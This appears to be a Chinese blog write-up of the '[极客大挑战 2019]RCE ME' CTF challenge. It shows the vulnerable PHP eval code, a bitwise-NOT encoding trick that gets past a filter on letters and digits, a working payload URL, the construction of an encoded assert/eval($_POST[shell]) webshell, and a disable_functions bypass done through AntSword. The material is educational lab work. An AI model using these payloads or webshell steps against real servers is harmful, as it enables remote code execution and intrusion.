当前位置:网站首页>[极客大挑战 2019]RCE ME 1
[极客大挑战 2019]RCE ME 1
2022-08-08 06:22:00 【Joker. .】
这个题疑惑还是挺多的,发出来是希望有大佬给我解惑一下,脚本均来自网上wp
首先看进入页面的代码
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>可以看到过滤了字母数字,这里用取反绕过,看wp用脚本进行编码,
<?php
$a='phpinfo';
$b=urlencode(~$a);
echo $b;
//得到%8F%97%8F%96%91%99%90% (~%8F%97%8F%96%91%99%90%)=phpinfo这里我尝试了多次为什么urlencode()不加~进行不了编码,我看了一下这个函数的用法应该是可以只直接将字符串进行URL编码的

然后get传入的时候又加了~,如果一开始脚本构造的时候是进行取反,那这里再取反一次不就相当于没有取反吗?看到一个博客的注释大概懂了[极客大挑战 2019]RCE ME - 码农教程 (manongjc.com)
payload:?code=(~%8F%97%8F%96%91%99%90)();

这里绕过之后由于eval()函数的存在,所以会把上传的当做PHP代码执行

这样也就造成了这里可以构造一句话木马,这里又是不懂得一个点,看代码
<?php
$a = 'assert';
echo urlencode(~$a);
echo "<br />";
$b ='(eval($_POST[shell]))';
echo urlencode(~$b);说是由于版本原因,不能像平常一样构造,然后用蚁剑连接

然后这里的flag是空白的

但是下面有个readflag文件,应该就是通过这个来读取flag,然后就是蚁剑的一个插件来绕过disable_functions

然后选择模式后开始

先ls看根目录,然后直接/readflag

这里如果用cat是得不到flag的,得到的还是乱码,这里又是一个疑惑点

总的来说疑惑还是挺多的不看wp根本做不出来,蚁剑插件获取方法有道云笔记
边栏推荐
- cnn convolutional neural network backpropagation, convolutional neural network dimension change
- 图像融合评价方式
- redis客户端Jedis/Redisson/Letture对比示例代码
- MySQL数据库
- Rust学习:5_所有权与借用
- Docker安装nacos2.0并指定mysql,安装sentinel
- 李沐老师 PyTorch版——线性回归 + softmax回归的简洁实现(3)
- plt.axis(‘tight‘) 的含义
- from sklearn import cross_validation 报错的解决方法
- 一、TF2 常用命令
猜你喜欢
随机推荐
chmod +x 的含义,为什么要chmod +x
微信记账小程序(附源码),你值得拥有!
基于Mysql的智慧医疗管理系统
Anaconda安装使用
摔倒检测综述
C语言三子棋游戏进阶版详解(包括多子棋)
模板实例化导致编译器未能识别decltype(auto)
leetcode 232. Implement Queue using Stacks
装机~ E5 剪辑
EOF指令在C语言中的作用
leetcode 5 最长回文子串std::pair 和 make_pair运用
selenium模拟登录某宝
节流与防抖
AttributeError: ‘GridSearchCV‘ object has no attribute ‘grid_scores_‘
unordered_map 在读写锁下多线程潜在的core 问题
图像评价方法程序-PSNR
“独家全新”MySQL进阶套餐,你确定不看吗?
【RPC】Mercury RPC
Neo4j服务配置
CUDA10安装支持gpu的tensorflow版本









